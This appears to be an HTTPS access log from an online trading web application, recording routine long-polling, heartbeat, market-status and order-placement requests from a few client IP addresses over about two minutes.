[09/Jan/2026:13:20:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936298486 HTTP/1.1" -
[09/Jan/2026:13:20:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936284641 HTTP/1.1" -
[09/Jan/2026:13:20:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936303527 HTTP/1.1" -
[09/Jan/2026:13:20:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936289780 HTTP/1.1" -
[09/Jan/2026:13:20:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936308586 HTTP/1.1" -
[09/Jan/2026:13:20:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936294937 HTTP/1.1" -
[09/Jan/2026:13:20:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:20:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936313648 HTTP/1.1" -
[09/Jan/2026:13:20:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:20:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:20:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936300086 HTTP/1.1" -
[09/Jan/2026:13:20:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:20:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936318706 HTTP/1.1" -
[09/Jan/2026:13:20:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:20:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936305139 HTTP/1.1" -
[09/Jan/2026:13:20:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:20:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936324198 HTTP/1.1" -
[09/Jan/2026:13:20:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936310290 HTTP/1.1" -
[09/Jan/2026:13:20:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936330198 HTTP/1.1" -
[09/Jan/2026:13:20:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936315332 HTTP/1.1" -
[09/Jan/2026:13:20:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936336192 HTTP/1.1" -
[09/Jan/2026:13:20:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936320441 HTTP/1.1" -
[09/Jan/2026:13:20:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936325581 HTTP/1.1" -
[09/Jan/2026:13:20:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936342190 HTTP/1.1" -
[09/Jan/2026:13:20:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:20:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:21:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:21:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:21:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936330717 HTTP/1.1" -
[09/Jan/2026:13:21:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:21:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936348198 HTTP/1.1" -
[09/Jan/2026:13:21:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:21:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:21:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936335788 HTTP/1.1" -
[09/Jan/2026:13:21:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936354184 HTTP/1.1" -
[09/Jan/2026:13:21:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936340844 HTTP/1.1" -
[09/Jan/2026:13:21:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936360189 HTTP/1.1" -
[09/Jan/2026:13:21:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936345996 HTTP/1.1" -
[09/Jan/2026:13:21:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936366193 HTTP/1.1" -
[09/Jan/2026:13:21:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936351150 HTTP/1.1" -
[09/Jan/2026:13:21:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936372194 HTTP/1.1" -
[09/Jan/2026:13:21:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936356296 HTTP/1.1" -
[09/Jan/2026:13:21:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:21:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936361503 HTTP/1.1" -
[09/Jan/2026:13:21:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:21:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:21:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936378196 HTTP/1.1" -
[09/Jan/2026:13:21:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:21:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:21:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:21:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936366544 HTTP/1.1" -
[09/Jan/2026:13:21:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:13:21:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:21:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:21:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936384187 HTTP/1.1" -
[09/Jan/2026:13:21:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:13:21:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 11
[09/Jan/2026:13:21:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936371606 HTTP/1.1" -
[09/Jan/2026:13:21:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:21:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1205
[09/Jan/2026:13:21:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:21:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936390189 HTTP/1.1" -
[09/Jan/2026:13:21:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:13:21:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:21:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1017
[09/Jan/2026:13:21:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:13:21:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:21:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:21:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936376929 HTTP/1.1" -
[09/Jan/2026:13:21:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:21:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:21:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1852
[09/Jan/2026:13:21:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936396187 HTTP/1.1" -
[09/Jan/2026:13:21:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936381969 HTTP/1.1" -
[09/Jan/2026:13:21:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936402196 HTTP/1.1" -
[09/Jan/2026:13:21:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936387029 HTTP/1.1" -
[09/Jan/2026:13:22:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:22:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:22:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936392171 HTTP/1.1" -
[09/Jan/2026:13:22:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936408195 HTTP/1.1" -
[09/Jan/2026:13:22:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:22:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
